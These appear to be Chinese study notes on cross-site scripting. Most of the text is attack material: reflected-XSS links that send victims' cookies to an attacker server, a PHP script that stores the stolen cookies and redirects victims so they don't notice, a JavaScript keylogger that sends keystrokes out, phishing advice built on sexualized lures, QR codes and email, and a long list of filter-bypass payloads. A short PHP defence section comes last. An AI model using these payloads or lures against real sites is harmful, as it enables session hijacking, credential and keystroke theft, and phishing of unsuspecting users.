XSS
一、XSS概述
概述
XSS,跨站脚本攻击(Cross Site Scripting,以下简称XSS)。 本应缩写为CSS,但由与CSS(Cascading Style Sheets,层叠样式脚本)重名,所以更名为XSS。 XSS(跨站脚本攻击)是指攻击者在网页中嵌入客户端脚本(如JavaScript),当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的。比如获取用户的Cookie,导航到恶意网站,携带木马等。
可以理解为靶机网站的注入攻击,将恶意脚本注入到网页,别的用户访问时,浏览器就会对网页进行解析执行,达到攻击网站的其它访问者。
用户 输入 内容 可 嵌入到 页面代码里
每当 页面加载 代码被执行
可获取用户cookie
XSS攻击流程
1. 攻击者将恶意代码注入到 目标服务器 如论坛、留言板、邮件等
2. 用户A访问这个网页
3. 用户A的浏览器对网页注入的恶意脚本进行解析
4. 用户A遭到攻击
XSS漏洞危害
- 窃取管理员帐号或Cookie。入侵者可以冒充管理员的身份登录后台,使得入侵者具有恶意操纵后台数据的能力,包括读取、更改、添加、删除一些信息。
- 窃取用户的个人信息或者 登录帐号,对网站的用户安全产生巨大的威胁。例如冒充用户身份进行各种操作。
- 网站挂马。先将恶意攻击代码嵌入到Web应用程序之中。当用户浏览该挂马页面时,用户的计算机会被植入木马。
- 发送广告或者垃圾信息。攻击者可以利用XSS漏洞植入广告,或者发送垃圾信息,严重影响到用户的正常使用
窃取 cookie
网站 挂马
发送广告 和 垃圾信息
XSS攻击面
XSS注入网站的位置需要满足以下特征
- 该位置过滤不严格:即可以解析执行XSS代码
- 该位置可以被其它用户访问到
可以主要关注网站收集用户信息输入信息的地方,并且可以展示给其它用户。
比如:用户的信息页面,聊天,评论区等地方。
二、XSS分类
反射型XSS(Reflected XSS)-非持久型
攻击者通过插入恶意代码到网页的URL请求中,当用户访问这个含有恶意代码的URL时,服务器接收到请求并处理,然后将带有恶意代码的数据返回给浏览器。浏览器解析这段数据并执行,整个过程类似于一次反射,因此得名反射型XSS。
payload构建流程
1. 将地址发给 已经登录的人 让他点一下
http://目标网站?seach_name=<script>location=`http://攻击者网页?cookie=${document.cookie}`</script>
嵌入js脚本向 攻击者网页发送 cookie
2. 目标用户点击 内部发生反射型XSS location 跳转 攻击者服务器
3. 攻击者获得了他的cookie
4. 利用概念cookie登录 攻击者获得了目标的权限
把 js代码嵌入 进去 但是不存储数据库 每次使用都需要嵌入代码 一次性
隐藏XSS
1. 构建网站
2. 吸引目标用户 投其所好 a + img
3. 目标用户受到福报(攻击)
4. 拿到数据
5. 不能在微信或者三方软件 只能在浏览器打开
6. 建议XSS使用邮件
绝美小姐姐,人傻可约,全国可飞
http://www.wowo.com/woniu/wowo.html
7. 变成二维码
注意
1. a href
2. a href javascript 执行js代码
3. a href 跳转目标网站 + 反射xssjs代码location跳转到攻击网站 完成两次跳转
微信 qq 等 跳转 容易被 拦截
使用邮件
反射型钓鱼
小姐姐诱导 wowo.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
a {
text-decoration: none;
}
</style>
</head>
<body>
<a href="http://目标网站?seach_name=<script>location=`http://攻击者的页面?cookie=${document.cookie}`</script>">
<img width="100" src="./img/gf.jpg">
<p>小哥哥我好看吗</p>
</a>
</body>
</html>
存Cookie getcookie.php
$cookie = @$_GET['cookie'];
echo "攻击主机收到了靶机的请求" . $cookie;
file_put_contents("./target/dlrb.txt",$cookie ."\r\n",FILE_APPEND); 写入文件
header("Location:http://目标网页") 跳转回去 防止用户发现
<a href="目标网站?注入点=<script>location=`接收cookie网站?cookie=${document.cookie}`</script>">
<img width="100" src="./img/gf.jpg">
<p>小哥哥我好看吗</p>
</a>
目标网站存在xss漏洞
跳转 目标网站 嵌入js代码 向 发送给
<a href=""></a>
DOM型XSS(DOM-based XSS)-非持久型
当参数数据能够导入到网页的DOM(文档对象模型)元素中时,可能会发生DOM型XSS。攻击者通过插入恶意代码到网页的JavaScript代码中,当用户访问网页时,这些恶意代码可能会被加载并执行。
js代码执行条件
<script></script>
href=javascript:alert(1)
" onclick="alert(1)
<image src=1 onerror="alert(1)">
DOM (document object Model)文档对象 理解为 整个 文档
存储型XSS(Stored XSS)-持久型
当应用允许将输入数据作为参数存储在数据库中以备后用时,可能会发生存储型XSS。攻击者插入的恶意代码被存储在数据库中,用户每次访问相应的页面,客户端均会执行一次XSS攻击语句。属于危害较严重的漏洞。
1. 通杀所有人 广撒网 只要访问就中招 容易被发现
2. 引诱特殊用户点击 放美女图片 或者网址 点击领钱
$src_url = $SERVER["HTTP_REFERER"]
header("Location:$src_url/资源路径") HTTP_REFERE http://www.xxx.com/ 没有资源的路径
XSS漏洞总结
反射型XSS:主要体现在URL里,但是一次性的
存储型XSS:主要关注网站一些类似留言框,评论的地方
DOM型XSS:与其说是XSS更像是逻辑漏洞,主要需要对前端代码进行审计,需要懂JS代码
三、XSS绕过
大小写绕过
绕过场景:针对关键字替换:
$content = str_replace("script", "js_waf", $content);
注意在html里不区分大小写,所以标签如果别过滤 可以采用大小写绕过的方式
<script>alert("xss");</script>
<ScRipt>ALeRt("XSS");</sCRipT>
双写绕过(堆叠绕过)
绕过场景:针对将关键字替换为空。代码如下:
$content = str_replace("script", "", $content);
可以采用Scrscriptipt避开过滤机制是把中间的script过滤了
<Scrscriptipt>alealertrt(1)</scRiscriptpt>
空格绕过
绕过场景:将空格替换为空。一般用于dom型
$content = str_replace(" ", "", $content);
%0a、%0d、%09、/**/、tab键等都可以进行绕过
%0d 空白键 编码绕过
%a0 空白键
/**/ 注释代替空格
tab 键代替空格
"%0donclick%3D"alert('xss')
"/**/onclick%3D"alert('xss')
//onclick%3D"alert('xss')
伪协议绕过关键字替换
绕过场景:将on屏蔽,在a标签的href属性中可以使用伪协议来完成JavaScript操作,一般用于dom型。使用href="javascript:"伪协议
$content = str_replace("on", "js_waf", $content);
1"> <a+href="javascript:alert(/xss/)">aaaa</a> <input+type="text
<input type="text" name="seach_name" value="1">
<a href="javascript:alert(/xss/)">aaaa</a>
<input type="text" placeholder="请输出查找的内容">
用实体转码绕过关键字替换-leve8
绕过场景:在a标签的href属性中可以使用实体转码,通常用在存储型xss和反射。
!!!!!!!!!!!还有一前提,程序员必须在代码使用urldecode进行二次解码才能完成最终的xss注入。
php会默认一次帮助我们解析URL编码,程序员不知道这个事又解析了一遍。
将输入的script脚本转为实体编码十进制或者十六进制数据绕过关键字替换
前提:
$param = htmlspecialchars($param, ENT_QUOTES); 将 < > 变为实体编码 实体转码
$param = urldecode($param); urldecode二次解码
<script> => 显示为 <script>
实体编码码值
javascript:alert('xss')
实体编码:
javascript:alert('xss')
有时候 需要 转url
Python实体编码绕过
def entity_code(str):
target=""
for i in str:
target +=f"&#{ord(i)};"
return target
if __name__ == '__main__':
print(entity_code("Hello,配置啦"))
编码绕过
绕过场景:一般使用在a标签的href属性。当程序过滤了 <、>、’、”、script等关键字的时候,就需要使用编码绕过。一般使用在反射型和存储型中
$param = str_replace("java","js_waf",$param);
$param = str_replace("script","js_waf",$param);
$param = str_replace("on","js_waf",$param);
base64绕过
javascript:alert(/xss/) => amF2YXNjcmlwdDphbGVydCgveHNzLyk=
<a href="data:text/html;charset=utf-8;base64,amF2YXNjcmlwdDphbGVydCgveHNzLyk=">aaa</a>
或者
<scRipt>eval(atob('amF2YXNjcmlwdDphbGVydCgveHNzLyk='))</scRipt>
js eval 任意代码执行
atob 将base64编码解码
思路:
手动编码 发送给 服务器
js 解码 响应界面
一编
一解
不影响使用
其他可以请求网路的属性
绕过场景:waf替换了location,导致不能使用location进行页面跳转,降低XSS危害
$param = str_replace("location","js_waf",$param);
1. img 的 src 可以发起网络请求
2. script 的 src 可以发起网络请求
3. link 标签的 href 可以发起网络请求
!!!!!! 远程js 写在攻击者服务器 攻击者可以随时调控 被攻击者那边实时被攻击
<script src="http://www.wowo.com/woniu/js/getcookie.js"></script>
img标签
<scRipt>new Image().src=`http://www.wowo.com/woniu/getcookie1.php?cookie=${document.cookie}`</scRIpt>
键盘记录木马
攻击者服务器 www.wowo.com/woniu/js/abc.js
let bb = document.querySelector("body");
let keys = ""
bb.onkeyup = function(event){
console.log(event.key);
keys += event.key
setTimeout(() => {
location = "http://www.wowo.com/woniu/getkey.php?key=" + keys
}, 5000);
}
攻击者服务器 www.wowo.com/woniu/getkey.php
$key = @$_GET['key'];
file_put_contents("./target/key.txt",$key ."\r\n",FILE_APPEND);
header("Location:http://www.dlrb.com/news/news_detail.php?id=211014")
靶机注入
111<script src="http://www.wowo.com/woniu/js/abc.js"></script>
xss文件绕过
对于一些上传文件来说,会读取文件的内置信息,这些信息也会引发XSS攻击
图片结合报错事件绕过
绕过场景:waf过滤了常用事件,我们需要使用图片结合onerror就可以绕过
$param = str_replace("onclick","js_waf",$param);
$param = str_replace("onkeyup","js_waf",$param);
<img src=xxx onerror="alert(/xss/)">
payload:
?src="level1.php?name=<img src=1 onerror=alert(123)>"
# 利用图片报错 触发xss 没有level1.php这个图片 页面就会报错 从而触发 onerror
绕过小技巧
0. 基础
<sCr<scrscRiptipt>ipt>OonN\'\"<>
'> value='' onmouseover='alert(/xss)'>
遇见alert直接清除
"><img src=x onerror=aalertlert(1)>
遇见alert直接退出
"><img src=x onerror=prompt(1)>
一些危险字符被删掉:script、alert、on、img
"><imimgg src=x oonnerror=alalertert(1)>
# ' onclick="alert(111)">
1.普通的
<script>alert(document.cookie)</script>
<script>alert(1)</script>
<ScRipt>alert(1)</ScRipt>
1"><ScRipt>alert(1)</ScRipt>
2.绕过htmlspecialchars方法,先闭合输入,再使用事件来绕过
onclick='alert(1)'
' onclick ='javascript:alert(1)'// ##点击鼠标触发
" onclick ='javascript:alert(1)'//
onmouseover='alert(1)' ##移动鼠标触发
3.<> script onclick被过滤,用a标签绕过
"></input><a href='javascript:alert(1)'>img</a>//
4.堆叠绕过
1"><ScscriptRipt>alert(1)</ScscriptRipt>
5.Unicode编码绕过
javascript:alert(1)
6.使用type=text来显示被隐藏的标签,再用事件
&t_sort=" type='text' onclick='javascript:alert(1)'>//
7.Referer UserAgent Cookie等地方也可以进行xss测试
referer:" type='text' onclick='javascript:alert(1)'>//
8.图片
<img src=xxxx οnerrοr=alert(1)>'
9.用这些字符来测试哪些被过滤了
“ ‘ <> script onerror onclick
10.空格用回车编码代替
<a%0D%0Aοnclick='alert(1)'>
11.ASCII编码绕过 实体编码
keyword=javascript:alert(1)
j -> j
j ->16进制实体编码 j
12.利用参数传递数据
" onclick='alert(1)' type="text
Referer:" onclick='alert(1)' type="text
USER_AGENT:" onclick='alert(1)' type="text
cookies:user=" onclick='alert(1)' type="text
四、XSS防御
实体标签防御
htmlspecialchars实体编码转换函数
$title = htmlspecialchars($title, ENT_QUOTES);
替换防御
少用str_replace多用 str_ireplace 字符串替换函数,尽量替换为有字符的字符串,不要替换为空串
str_ireplace 忽略大小写
$param = str_ireplace("script","js_waf",$param);
$param = str_ireplace("onkeyup","js_waf",$param);
$param = str_ireplace("location","js_waf",$param);
正则防御
preg_replace正则替换、preg_match正则匹配,正则不会不要乱用,整不好会倒开车
$str = "Hello WoRld!"; //原字符串
$pattern = "/World/i"; // 要被替换的模式 把world替换
$replacement = "John Doe"; // 替换后的内容
// 使用preg_replace函数进行替换
$result = preg_replace($pattern, $replacement, $str); 正则表达式 替换后的内容 原字符串
echo $result; // 输出结果为"Hello John Doe!"
js waf 书写
function js_waf($param){
$param = str_ireplace("script","js_waf",$param);
$param = str_ireplace("on","js_waf",$param);
$param = htmlspecialchars($param);
$param = str_ireplace("onclick","js_waf",$param);
$param = str_ireplace("onkeyup","js_waf",$param);
$param = str_ireplace("location","js_waf",$param);
$param = str_ireplace("<","js_waf",$param);
$param = str_ireplace(">","js_waf",$param);
$param = str_ireplace("src","js_waf",$param);
return $param;
}
// waf的先后顺序很重要,顺序不对也出事
五、相关函数
<script>alert(1)</script> //弹窗
<script>location=""</script> //跳转
header("Location:www.") //php跳转
万能字符串
"<><script></Script>onhrefjavascript' //看那些关键字被替换
<img src=""> //可以发送网络请求 不跨域
<script src"> //
<link src="">